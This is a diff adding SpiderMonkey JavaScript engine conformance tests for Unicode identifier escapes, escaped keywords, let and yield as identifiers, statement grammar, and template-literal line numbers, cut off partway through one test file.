@@ -0,0 +1,20 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// U+2E2F (VERTICAL TILDE) is in Gc=Lm, but also in [:Pattern_Syntax:].
+// http://www.unicode.org/reports/tr31/
+const verticalTilde = 0x2E2F;
+
+// Leading character in identifier.
+assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+// Not leading character in identifier.
+assertThrowsInstanceOf(() => eval(`A${String.fromCodePoint(verticalTilde)}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u${verticalTilde.toString(16).padStart(4, "0")}`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`A\\u{${verticalTilde.toString(16)}}`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Syntax/identifiers-with-extended-unicode-escape.js b/js/src/tests/ecma_6/Syntax/identifiers-with-extended-unicode-escape.js
new file mode 100644
index 000000000..8e0a05fb5
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/identifiers-with-extended-unicode-escape.js
@@ -0,0 +1,222 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple cases, not using eval.
+{
+ let \u{61} = 123;
+ assertEq(a, 123);
+
+ let \u{6A} = 123;
+ assertEq(j, 123);
+
+ let a\u{62} = 456;
+ assertEq(ab, 456);
+
+ let \u{63}\u{6b} = 789;
+ assertEq(ck, 789);
+}
+
+const leadingZeros = [0, 1, 2, 3, 4, 100].map(c => "0".repeat(c));
+
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Start
+// Characters that can start an identifier.
+// Generated from:
+// Lu + Ll + Lt + Lm + Lo + Nl
+// + Other_ID_Start
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idStart = [
+ 0x0041, // LATIN CAPITAL LETTER A, Gc=Lu
+ 0x006A, // LATIN SMALL LETTER J, Gc=Ll
+ 0x00C9, // LATIN CAPITAL LETTER E WITH ACUTE, Gc=Lu
+ 0x00FF, // LATIN SMALL LETTER Y WITH DIAERESIS, Gc=Ll
+ 0x01C5, // LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON, Gc=Lt
+ 0x0294, // LATIN LETTER GLOTTAL STOP, Gc=Lo
+ 0x037A, // GREEK YPOGEGRAMMENI, Gc=Lm
+ 0x16EE, // RUNIC ARLAUG SYMBOL, Gc=Nl
+ 0xFF70, // HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK, Gc=Lm
+];
+
+const idStartSupplemental = [
+ 0x10140, // GREEK ACROPHONIC ATTIC ONE QUARTER, Gc=Nl
+ 0x10300, // OLD ITALIC LETTER A, Gc=Lo
+ 0x10400, // DESERET CAPITAL LETTER LONG I, Gc=Lu
+ 0x10430, // DESERET SMALL LETTER SHORT A, Gc=Ll
+ 0x16B40, // PAHAWH HMONG SIGN VOS SEEV, Gc=Lm
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// From DerivedCoreProperties.txt (Unicode 9):
+// Derived Property: ID_Continue
+// Characters that can continue an identifier.
+// Generated from:
+// ID_Start
+// + Mn + Mc + Nd + Pc
+// + Other_ID_Continue
+// - Pattern_Syntax
+// - Pattern_White_Space
+const idContinue = [
+ 0x0030, // DIGIT ZERO, Gc=Nd
+ 0x0300, // COMBINING GRAVE ACCENT, Gc=Mn
+ 0x0660, // ARABIC-INDIC DIGIT ZERO, Gc=Nd
+ 0x0903, // DEVANAGARI SIGN VISARGA, Gc=Mc
+ 0xFF10, // FULLWIDTH DIGIT ZERO, Gc=Nd
+ 0xFF3F, // FULLWIDTH LOW LINE, Gc=Pc
+];
+
+const idContinueSupplemental = [
+ 0x101FD, // PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE, Gc=Mn
+ 0x104A0, // OSMANYA DIGIT ZERO, Gc=Nd
+ 0x11000, // BRAHMI SIGN CANDRABINDU, Gc=Mc
+];
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+for (let ident of [...idStart, ...otherIdStart]) {
+ for (let count of leadingZeros) {
+ let zeros = "0".repeat(count);
+ eval(`
+ let \\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ }
+}
+
+// Move this to the loop above when Bug 1197230 is fixed.
+for (let ident of [...idStartSupplemental]) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+for (let ident of [...idContinue, ...idContinueSupplemental, ...otherIdContinue]) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+for (let ident of [...idStart, ...otherIdStart, ...idContinue, ...otherIdContinue]) {
+ for (let zeros of leadingZeros) {
+ eval(`
+ let A\\u{${zeros}${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ }
+}
+
+// Move this to the loop above when Bug 1197230 is fixed.
+for (let ident of [...idStartSupplemental, ...idContinueSupplemental]) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+
+const notIdentifiers = [
+ 0x0000, // NULL, Gc=Cc
+ 0x000A, // LINE FEED (LF), Gc=Cc
+ 0x005E, // CIRCUMFLEX ACCENT, Gc=Sk
+ 0x00B1, // PLUS-MINUS SIGN, Gc=Sm
+ 0xFF61, // HALFWIDTH IDEOGRAPHIC FULL STOP, Gc=Po
+ 0x10061, // Not assigned.
+ 0x10100, // AEGEAN WORD SEPARATOR LINE, Gc=Po
+ 0x100061, // <Plane 16 Private Use>, Gc=Co
+];
+
+for (let ident of notIdentifiers) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${ident.toString(16)}}`), SyntaxError);
+ }
+}
+
+
+const incompleteEscapes = [
+ "\\u{",
+ "\\u{6",
+ "\\u{61",
+ "\\u{061",
+ "\\u{0061",
+ "\\u{00061",
+ "\\u{000061",
+ "\\u{0000061",
+
+ "\\u}",
+];
+for (let invalid of incompleteEscapes) {
+ // Ends with EOF.
+ assertThrowsInstanceOf(() => eval(invalid), SyntaxError);
+
+ // Ends with EOL.
+ assertThrowsInstanceOf(() => eval(invalid + "\n"), SyntaxError);
+
+ // Ends with space.
+ assertThrowsInstanceOf(() => eval(invalid + " "), SyntaxError);
+}
+
+
+const invalidEscapes = [
+ // Empty escape.
+ "",
+
+ // Not hexadecimal characters.
+ "\0",
+ "G",
+ "Z",
+ "\uFFFF",
+ "\uDBFF\uDFFF",
+
+ // Has space characters.
+ " 61",
+ "61 ",
+
+ // Has newline characters.
+ "\n61",
+ "61\n",
+
+ // Exceeds 0x10FFFF, six characters.
+ "110000",
+ "110001",
+ "fffffe",
+ "ffffff",
+
+ // Exceeds 0x10FFFF, more than six characters.
+ "10ffff0",
+ "10ffffabcdef",
+];
+
+for (let invalid of invalidEscapes) {
+ for (let zeros of leadingZeros) {
+ assertThrowsInstanceOf(() => eval(`\\u{${zeros}${invalid}}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`var \\u{${zeros}${invalid}}`), SyntaxError);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Syntax/keyword-unescaped-requirement.js b/js/src/tests/ecma_6/Syntax/keyword-unescaped-requirement.js
new file mode 100644
index 000000000..eb6edd57d
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/keyword-unescaped-requirement.js
@@ -0,0 +1,68 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function memberVariants(code)
+{
+ return ["(class { constructor() {} " + code + " });",
+ "({ " + code + " })"];
+}
+
+var badScripts =
+ [
+ "class { st\\u0061tic m() { return 0; } }",
+ "class { st\\u0061tic get foo() { return 0; } }",
+ "class { st\\u0061tic set foo(v) {} }",
+ "class { st\\u0061tic get ['hi']() { return 0; } }",
+ "class { st\\u0061tic set ['hi'](v) {} }",
+ "class { st\\u0061tic get 'hi'() { return 0; } }",
+ "class { st\\u0061tic set 'hi'(v) {} }",
+ "class { st\\u0061tic get 42() { return 0; } }",
+ "class { st\\u0061tic set 42(v) {} }",
+ ...memberVariants("\\u0067et foo() { return 0; }"),
+ ...memberVariants("\\u0073et foo() {}"),
+ ...memberVariants("g\\u0065t foo() { return 0; }"),
+ ...memberVariants("s\\u0065t foo() {}"),
+ ...memberVariants("g\\u0065t ['hi']() { return 0; }"),
+ ...memberVariants("s\\u0065t ['hi']() {}"),
+ ...memberVariants("g\\u0065t 'hi'() { return 0; }"),
+ ...memberVariants("s\\u0065t 'hi'() {}"),
+ ...memberVariants("g\\u0065t 42() { return 0; }"),
+ ...memberVariants("s\\u0065t 42() {}"),
+ "for (var foo o\\u0066 [1]) ;",
+ "for (var foo \\u006ff [1]) ;",
+ "for (var foo i\\u006e [1]) ;",
+ "for (var foo \\u0069n [1]) ;",
+ "function f() { return n\\u0065w.target }",
+ "function f() { return \\u006eew.target }",
+ "function f() { return new.t\\u0061rget }",
+ "function f() { return new.\\u0074arget }",
+ "function f() { return n\\u0065w Array }",
+ "function f() { return \\u006eew Array }",
+ "\\u0064o { } while (0)",
+ "[for (x \\u006ff [1]) x]",
+ "[for (x o\\u0066 [1]) x]",
+ ];
+
+for (var script of badScripts)
+ assertThrowsInstanceOf(() => Function(script), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Syntax/let-as-label.js b/js/src/tests/ecma_6/Syntax/let-as-label.js
new file mode 100644
index 000000000..a01ad556e
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/let-as-label.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "let can't be used as a label in strict mode code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Function("let: 42");
+Function("l\\u0065t: 42");
+assertThrowsInstanceOf(() => Function(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => Function(" 'use strict' \n l\\u0065t: 42"), SyntaxError);
+
+eval("let: 42");
+eval("l\\u0065t: 42");
+assertThrowsInstanceOf(() => eval(" 'use strict'; let: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n let: 42;"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict'; l\\u0065t: 42"), SyntaxError);
+assertThrowsInstanceOf(() => eval(" 'use strict' \n l\\u0065t: 42;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Syntax/shell.js b/js/src/tests/ecma_6/Syntax/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/shell.js
diff --git a/js/src/tests/ecma_6/Syntax/statement-versus-statementlistitem.js b/js/src/tests/ecma_6/Syntax/statement-versus-statementlistitem.js
new file mode 100644
index 000000000..d0565353d
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/statement-versus-statementlistitem.js
@@ -0,0 +1,148 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate, parseModule
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary =
+ "Properly implement the spec's distinctions between StatementListItem and " +
+ "Statement grammar productions and their uses";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var counter = 0;
+
+// Test all the different contexts that expect a Statement.
+
+function contextAcceptsStatement(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n {} \n ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let {} \n ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatement("if (0) @@@");
+contextAcceptsStatement("if (0) ; else @@@");
+contextAcceptsStatement("if (0) ; else if (0) @@@");
+contextAcceptsStatement("if (0) ; else if (0) ; else @@@");
+// Can't test do-while loops this way because the Statement isn't in trailing
+// position, so 'let' followed by newline *must* be followed by 'while'.
+contextAcceptsStatement("while (1) @@@");
+contextAcceptsStatement("for (1; 1; 0) @@@");
+contextAcceptsStatement("for (var x; 1; 0) @@@");
+contextAcceptsStatement("for (let x; 1; 0) @@@");
+contextAcceptsStatement("for (const x = 1; 1; 0) @@@");
+contextAcceptsStatement("for (x in 0) @@@");
+contextAcceptsStatement("for (var x in 0) @@@");
+contextAcceptsStatement("for (let x in 0) @@@");
+contextAcceptsStatement("for (const x in 0) @@@");
+contextAcceptsStatement("for (x of []) @@@");
+contextAcceptsStatement("for (var x of []) @@@");
+contextAcceptsStatement("for (let x of []) @@@");
+contextAcceptsStatement("for (const x of []) @@@");
+contextAcceptsStatement("with (1) @@@");
+contextAcceptsStatement("foo: @@@");
+
+// Test all the different contexts that expect a StatementListItem.
+
+function contextAcceptsStatementListItem(pat)
+{
+ var goodCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n [] = [] ;")}
+}
+`;
+
+ evaluate(goodCode);
+
+ var moarGoodCode = pat.replace("@@@", "let \n [] = [] ;");
+ evaluate(moarGoodCode);
+
+ var goodModuleCode = pat.replace("@@@", "let \n [] = [] ;");
+ parseModule(goodModuleCode);
+
+ var badCode =
+`function f${counter++}()
+{
+ ${pat.replace("@@@", "let \n let = 3 ;")}
+}
+`;
+
+ try
+ {
+ evaluate(badCode);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "didn't get a syntax error, instead got: " + e);
+ }
+}
+
+contextAcceptsStatementListItem("{ @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { case 0: break; case 1: @@@ }");
+contextAcceptsStatementListItem("switch (1) { default: @@@ case 2: }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { }");
+contextAcceptsStatementListItem("try { @@@ } finally { }");
+contextAcceptsStatementListItem("try { @@@ } catch (e) { } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ }");
+contextAcceptsStatementListItem("try { } finally { @@@ }");
+contextAcceptsStatementListItem("try { } catch (e) { @@@ } finally { }");
+contextAcceptsStatementListItem("try { } catch (e) { } finally { @@@ }");
+contextAcceptsStatementListItem("_ => { @@@ }");
+contextAcceptsStatementListItem("function q() { @@@ }");
+contextAcceptsStatementListItem("function* q() { @@@ }");
+contextAcceptsStatementListItem("(function() { @@@ })");
+contextAcceptsStatementListItem("(function*() { @@@ })");
+contextAcceptsStatementListItem("({ *q() { @@@ } })");
+contextAcceptsStatementListItem("({ q() { @@@ } })");
+contextAcceptsStatementListItem("({ get q() { @@@ } })");
+contextAcceptsStatementListItem("({ set q(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static *f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static get f() { @@@ } })");
+contextAcceptsStatementListItem("(class { static set f(v) { @@@ } })");
+contextAcceptsStatementListItem("(class { static() { @@@ } })");
+contextAcceptsStatementListItem("@@@");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Syntax/unicode_other_id_continue.js b/js/src/tests/ecma_6/Syntax/unicode_other_id_continue.js
new file mode 100644
index 000000000..03dd09b71
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/unicode_other_id_continue.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdContinue = [
+ 0x00B7, // MIDDLE DOT, Gc=Po
+ 0x0387, // GREEK ANO TELEIA, Gc=Po
+ 0x1369, // ETHIOPIC DIGIT ONE, Gc=No
+ 0x136A, // ETHIOPIC DIGIT TWO, Gc=No
+ 0x136B, // ETHIOPIC DIGIT THREE, Gc=No
+ 0x136C, // ETHIOPIC DIGIT FOUR, Gc=No
+ 0x136D, // ETHIOPIC DIGIT FIVE, Gc=No
+ 0x136E, // ETHIOPIC DIGIT SIX, Gc=No
+ 0x136F, // ETHIOPIC DIGIT SEVEN, Gc=No
+ 0x1370, // ETHIOPIC DIGIT EIGHT, Gc=No
+ 0x1371, // ETHIOPIC DIGIT NINE, Gc=No
+ 0x19DA, // NEW TAI LUE THAM DIGIT ONE, Gc=No
+];
+
+// Leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ assertThrowsInstanceOf(() => eval(`${String.fromCodePoint(ident)}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u${ident.toString(16).padStart(4, "0")}`), SyntaxError);
+ assertThrowsInstanceOf(() => eval(`\\u{${ident.toString(16)}}`), SyntaxError);
+}
+
+// Not leading character in identifier.
+for (let ident of [...otherIdContinue]) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Syntax/unicode_other_id_start.js b/js/src/tests/ecma_6/Syntax/unicode_other_id_start.js
new file mode 100644
index 000000000..86790dd00
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/unicode_other_id_start.js
@@ -0,0 +1,48 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// From PropList.txt (Unicode 9):
+const otherIdStart = [
+ 0x1885, // MONGOLIAN LETTER ALI GALI BALUDA, Gc=Mn
+ 0x1886, // MONGOLIAN LETTER ALI GALI THREE BALUDA, Gc=Mn
+ 0x2118, // SCRIPT CAPITAL P, Gc=Sm
+ 0x212E, // ESTIMATED SYMBOL, Gc=So
+ 0x309B, // KATAKANA-HIRAGANA VOICED SOUND MARK, Gc=Sk
+ 0x309C, // KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, Gc=Sk
+];
+
+// Leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let ${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+ eval(`
+ let \\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(ident)}, 123);
+ `);
+}
+
+// Not leading character in identifier.
+for (let ident of otherIdStart) {
+ eval(`
+ let A${String.fromCodePoint(ident)} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u${ident.toString(16).padStart(4, "0")} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+ eval(`
+ let A\\u{${ident.toString(16)}} = 123;
+ assertEq(${String.fromCodePoint(0x41, ident)}, 123);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Syntax/yield-as-identifier.js b/js/src/tests/ecma_6/Syntax/yield-as-identifier.js
new file mode 100644
index 000000000..665b0b11c
--- /dev/null
+++ b/js/src/tests/ecma_6/Syntax/yield-as-identifier.js
@@ -0,0 +1,54 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288459;
+var summary = "|yield| is sometimes a valid identifier";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code)
+{
+ var strictSemi = " 'use strict'; " + code;
+ var strictASI = " 'use strict' \n " + code;
+
+ var creationFunctions = ["Function"];
+ if (typeof evaluate === "function")
+ creationFunctions.push("evaluate");
+ if (typeof parseModule === "function")
+ creationFunctions.push("parseModule");
+
+ for (var func of creationFunctions)
+ {
+ var g = newGlobal();
+ var f = g[func];
+
+ if (func === "parseModule")
+ assertThrowsInstanceOf(() => f(code), g.SyntaxError);
+ else
+ f(code);
+
+ assertThrowsInstanceOf(() => f(strictSemi), g.SyntaxError);
+ assertThrowsInstanceOf(() => f(strictASI), g.SyntaxError);
+ }
+}
+
+t("var yield = 3;");
+t("let yield = 3;");
+t("const yield = 3;");
+t("for (var yield = 3; ; ) break;");
+t("for (let yield = 3; ; ) break;");
+t("for (const yield = 3; ; ) break;");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/TemplateStrings/browser.js b/js/src/tests/ecma_6/TemplateStrings/browser.js
new file mode 100644
index 000000000..139597f9c
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/browser.js
@@ -0,0 +1,2 @@
+
+
diff --git a/js/src/tests/ecma_6/TemplateStrings/debugLineNumber.js b/js/src/tests/ecma_6/TemplateStrings/debugLineNumber.js
new file mode 100644
index 000000000..2cf41cd9c
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/debugLineNumber.js
@@ -0,0 +1,50 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// TEST BEGIN
+
+// verify debugger line numbers are accurate
+try {
+ `
+ a
+ b
+ c
+ `;
+ throw Error("error");
+} catch (e) {
+ assertEq(e.lineNumber, 14);
+}
+
+try {
+ function tagThatThrows(...args) { throw new Error(); }
+
+ tagThatThrows`
+ multi-line
+ template
+ string`;
+} catch (e) {
+ var stackLines = e.stack.split('\n');
+ var firstLine = stackLines[0].split(':');
+ var secondLine = stackLines[1].split(':');
+ var firstLineSize = firstLine.length;
+ var secondLineSize = secondLine.length;
+ assertEq(firstLine[firstLineSize - 2], "20");
+ assertEq(firstLine[firstLineSize - 1], "45");
+ assertEq(secondLine[secondLineSize - 2], "22");
+ assertEq(secondLine[secondLineSize - 1], "5");
+}
+
+try {
+ ` multi-line
+ template
+ with
+ ${substitutionThatThrows()}`
+
+} catch (e) {
+ assertEq(e.lineNumber, 42);
+}
+
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/TemplateStrings/lineNumber.js b/js/src/tests/ecma_6/TemplateStrings/lineNumber.js
new file mode 100644
index 000000000..6163d5421
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/lineNumber.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var BUGNUMBER = 1253847;
+var summary = 'Line numbers should be updated correctly when a template literal contains CRLF sequences.';
+
+print(BUGNUMBER + ": " + summary);
+
+// lineNumber after template literal.
+var base, x, lineno;
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `",
+ "",
+ "`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+
+eval([
+ "base = new Error().lineNumber;",
+ "x = `a",
+ "b`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 3);
+
+// lineNumber inside template literal
+eval([
+ "base = new Error().lineNumber;",
+ "x = `${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}`;",
+ "lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 4);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3));
+
+eval([
+ "var base = new Error().lineNumber;",
+ "var x = `",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "${new Error().lineNumber}",
+ "`;",
+ "var lineno = new Error().lineNumber;",
+].join("\r\n"));
+assertEq(lineno, base + 6);
+assertEq(x, '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4) + '\n');
+
+// When CR, LF, and CRLF are mixed.
+eval([
+ "var base = new Error().lineNumber;", "\n",
+ "var x = `${new Error().lineNumber}", "\n",
+ "${new Error().lineNumber}", "\r\n",
+ "${new Error().lineNumber}", "\r",
+ "${new Error().lineNumber}`;", "\n",
+ "var lineno = new Error().lineNumber;",
+].join(""));
+assertEq(lineno, base + 5);
+assertEq(x, (base + 1) + '\n' + (base + 2) + '\n' + (base + 3) + '\n' + (base + 4));
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TemplateStrings/noSubst.js b/js/src/tests/ecma_6/TemplateStrings/noSubst.js
new file mode 100644
index 000000000..730275fd9
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/noSubst.js
@@ -0,0 +1,148 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw "Expected syntax error: " + script;
+}
+
+// TEST BEGIN
+
+// unterminated quasi literal
+syntaxError("`");
+syntaxError("`$");
+syntaxError("`${");
+syntaxError("`${}");
+syntaxError("`${1}");
+syntaxError("`${1 + 2}");
+
+// almost template substitutions
+assertEq("$", `$`);
+assertEq("$}", `$}`);
+assertEq("}", `}`);
+assertEq("{", `{`);
+
+
+// character escape sequence (single escape character)
+assertEq("\'", `\'`);
+assertEq("\"", `\"`);
+assertEq("\\", `\\`);
+assertEq("\b", `\b`);
+assertEq("\f", `\f`);
+assertEq("\n", `\n`);
+assertEq("\r", `\r`);
+assertEq("\t", `\t`);
+assertEq("\v", `\v`);
